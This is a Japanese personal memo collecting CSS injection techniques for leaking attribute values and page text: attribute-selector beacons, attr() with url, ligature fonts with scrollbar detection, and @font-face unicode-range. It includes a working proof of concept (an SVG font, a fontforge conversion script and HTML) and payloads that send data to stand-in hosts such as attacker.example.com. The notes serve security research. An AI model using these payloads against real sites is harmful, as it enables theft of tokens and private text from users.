/tmp/

雑なメモを置く場所。書いた内容の責任は取らないし、正確性、永続性なども保証しない。

CSS インジェクションの手法メモ

CSS インジェクションの手法

雑メモです

属性値のリーク

属性セレクタを使う

広く知られている手法。CSS の属性セレクタを使って取得する。

input[value^="a"] { background: url('http://external.host/?c=a'); }
input[value^="b"] { background: url('http://external.host/?c=b'); }
...
input[value^="z"] { background: url('http://external.host/?c=z'); }

attr() を使う

435426 - [meta] Implement CSS Values 3 extensions to attr()

これはまだ任意の URL への leak ができない。attr() は次のようにして属性値を取得できる。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        [token]::after {
            content: attr(token) " ";
        }
    </style>
</head>
<body>
    <p token="gfjr8g43hgqwiofhr3gf3">leaked: </p>
</body>
</html>

url がサポートされると次のようにして leak できる。

// accounts.goole.com の場合
input[data-initial-value]{
  content:attr(data-initial-value url);
}

従来の CSS インジェクションによるコンテンツリークが総当りだったのに対して、これが使えるようになるとすべての文字を一度で取得可能になる。 なので、制限が入る方向で話が進んでいそう。

コメントにあるように frame から window.innerWidth で取得することも可能になる。

    <style>
        iframe {
            width: attr(data-userid);
        };
    </style>

    <iframe data-userid="1234" src="ad.html"></iframe>

テキストノードのリーク

Ligature を使う

https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ に全部書いてある。

フォントの合字と幅の変化の検出を組み合わせて、ノードに含まれるテキストを抽出できる。
SVG フォントを fontforge で woff に変換する。SVG では horiz-adv-x 属性を利用してグリフの幅を、 <glyph unicode="AB" horiz-adv-x="8000" d="M1 0z" /> のように定義できる。ここで AB 2文字のシーケンスが存在すれば、それがレンダリングされて、テキストのサイズが変化する。 テキストサイズの変化を検知するために、次のような CSS を用意する。

body { white-space: nowrap }; 
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://external.host/?leak); }

nowrap で文字の回り込みを潰し、フォント制御によって、特定の文字列が含まれている場合のみ、スクロールバーが生じる。 スクロールバーが表示されるのをきっかけに任意の URL に通信が可能。

もっと具体的に書くと...

  • <p>Token is hoge</p>hoge を leak したい場合
    • Token is h のみ横幅は大きく、それ以外の任意の文字は横幅0のフォントを用意する
    • 用意したフォントの設定とスクロールバー制御を行う CSS を各フォントごとに Injection する
    • 一文字目 (h) が leak できたら、次は Token is ha , Token is hb ... と繰り返していく

以下は hoge と入力したら外部サイトに leak するサンプル。

$ cat font.svg
<svg>
  <defs>
    <font id="hack" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="hoge" horiz-adv-x="9000" d="M1 0z"/>
    </font>
  </defs>
</svg>

$ cat convert.pe
#!/usr/local/bin/fontforge
Open($1)
Generate($1:r + ".woff")

$ cat convert.sh
#!/bin/bash

fontforge -script convert.pe font.svg

$ ./convert.sh
$ cat font.woff | base64 | pbcopy
$ cat index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <style>
        @font-face {
            font-family: "hack";
            src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAAR4AA0AAAAABqAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADAAAAAL8AAAENuE9VxkZGVE0AAARcAAAAGQAAAByV6LvzR0RFRgAAA8AAAAAhAAAAJABOADlHUE9TAAAEKAAAACAAAAAgbJF0j0dTVUIAAAPkAAAARAAAAFTZStw2T1MvMgAAAYAAAABEAAAAYFXjXL1jbWFwAAACnAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYYk8hfaGhlYQAAAVwAAAAbAAAAJAN8In1obXR4AAAESAAAABEAAABwJxAAAG1heHAAAAF4AAAABgAAAAYAHFAAbmFtZQAAAcQAAADWAAABX7/94gpwb3N0AAAC9AAAAAwAAAAgAAMAAHicY2BkYGAAYk1d0c/x/DZfGbiZXwBFGO7sOrwXmYYCDgYmEAUANpYKLAAAeJxjYGRgYFb4b8EQpazBAAGMDKhABgA54gIeAAAAUAAAHAAAeJxjYGb8wjiBgZWBg6mLaQ8DA0MPhGZ8wGDIyMTAwMTAyswAA4wMSCAgzTWFwYEhkaGKWeG/BUMUhhoFIGQBAFrHCkp4nF2OPY7CMBBGXyDALqDdjhZ3WyUKlhASBSUH2II+iqyAQIlk4Axb03AMDkDNwfgSvA22xvPm8/wBY65ENCciZhi4w4Bp4K6oDBzrXgL3GHEL3Jf+UGYUf0r5aKsa7vDFd+AuK34Cx8r5C9xjoh1e3Jd+Z0tOwR62eaH3F6cFzhwke4WuPB9ywZqailPrvTIcBktKJr+U/bd5RQsS5jKrf8tM5XV1Wte+dMammVmaZpjcIpknNrNKeFtjowGeI7t2rFGLZhQb54+7ujKzNHsveQLkUS2IAAB4nGNgYGBmgGAZBkYGEHAB8hjBfBYGDSDNBqQZGZiArKr//8EqEkH0/wVQ9UDAyMaA4NAKMDIxs7CysXNwcnHz8PLxCwgKCYuIiolLSErR2maiAAC3ZQifeJxjYGbACwAAfQAEeJxjZGBhYWBkZGTNSEzOZmBkYmBk0Pghw/RDlvmHBEs3D3M3D0s3ELDKMITzyzAwCMgw9AnKMHDKMLIIMTCDVHMw8DAIZMTnx6fHp4LMAJsDBE4MzgwuDK4MbgzuDB4MngxeDN4MPgy+DH4M/gwBDIEMQQzBDCEMoQxhDOEMEQyRDFEM0YztDDJAl3Bw8wmKiEvJKiiraeroG5laWNs5urh7+QYEh8s81ObrEaMm+gbE3SIySntFu3m4AKDrNPwAeJxjYGRgYOABYhkgZgJCRgYpIJYGQiYGFrAYAwAJnwCIAAAAeJxjYGRgYOBikGPQYWDMSSzJY+BgYAGKMPz/zwCSYczJTE8EijFAeEA5FjDNAcRiUJqFQRqI+RnYGViBPKAYAGZpBjMAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDegrMHAAABnXAE3AAAAeJxjYGBgZACCO8UmFWB61+G9MBoATgAIKQAAAA==)
        }

        span {
            background: lightblue;
            font-family: "hack";
        }

        body {
            white-space: nowrap;
        }
        body::-webkit-scrollbar {
            background: blue;
        }
        body::-webkit-scrollbar:horizontal {
            background: url(http://example.com/leak);
        }
    </style>

    <input name="i" oninput="span.textContent=this.value" /><br>
    <span id="span">a</span>
</body>
</html>

font-faceunicode-range を使う

Masato Kinugawa Security Blog: @font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <style>
        @font-face{
         font-family:poc;
         src: url(http://attacker.example.com/?A);
         unicode-range:U+0041;
        }
        @font-face{
         font-family:poc;
         src: url(http://attacker.example.com/?B);
        }
        @font-face{
         font-family:poc;
         src: url(http://attacker.example.com/?C);
         unicode-range:U+0043;
        }
        #sensitive-information{
         font-family:poc;
        }
        </style>
        <p id="sensitive-information">BA</p>
</body>
</html>

unicode-range + デフォルトのフォントを使う

先程の発展?系。

異なるサイズのローカルフォントを利用して、Scroll Overflow の Leak をする。 テキストを文字ごとに拡大していくと、 div の幅が大きくなって、新しい文字(suffix) が prefix に移動する。 移動した文字は unicode-range trick を使って検出する。これはフォントを Comic Sans に変更して行う(高さがあるのでスクロールバーが出現するらしい)。

ちょっとよく分かっていない。

https://demo.vwzq.net/css2.html